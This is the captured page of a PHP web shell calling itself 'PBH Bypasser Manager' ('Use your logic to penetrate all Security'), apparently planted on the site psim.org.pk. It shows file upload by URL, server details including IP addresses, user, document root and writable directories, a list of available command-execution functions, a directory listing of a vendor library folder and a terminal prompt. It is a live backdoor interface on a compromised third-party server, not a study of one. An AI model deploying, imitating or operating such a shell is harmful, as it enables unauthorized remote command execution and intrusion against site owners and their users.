🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-13 05:03:01
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
Alarm -- 2775 2024-07-11 22:33:13 psim
Alarm.php 1.53 KB 0775 2024-07-11 22:33:13 psim
Attachment.php 1.73 KB 0775 2024-07-11 22:33:13 psim
BinaryContent.php 557 B 0775 2024-07-11 22:33:13 psim
Category.php 518 B 0775 2024-07-11 22:33:13 psim
Date.php 780 B 0775 2024-07-11 22:33:13 psim
DateTime.php 937 B 0775 2024-07-11 22:33:13 psim
EmailAddress.php 849 B 0775 2024-07-11 22:33:13 psim
GeographicPosition.php 1.16 KB 0775 2024-07-11 22:33:13 psim
Location.php 1.27 KB 0775 2024-07-11 22:33:13 psim
Member.php 614 B 0775 2024-07-11 22:33:13 psim
MultiDay.php 692 B 0775 2024-07-11 22:33:13 psim
Occurrence.php 307 B 0775 2024-07-11 22:33:13 psim
Organizer.php 1.88 KB 0775 2024-07-11 22:33:13 psim
PointInTime.php 1.11 KB 0775 2024-07-11 22:33:13 psim
SingleDay.php 509 B 0775 2024-07-11 22:33:13 psim
TimeSpan.php 800 B 0775 2024-07-11 22:33:13 psim
Timestamp.php 317 B 0775 2024-07-11 22:33:13 psim
TimeZoneTransition.php 1.59 KB 0775 2024-07-11 22:33:13 psim
UniqueIdentifier.php 779 B 0775 2024-07-11 22:33:13 psim
Uri.php 652 B 0775 2024-07-11 22:33:13 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/eluceo/ical/src/Domain/ValueObject)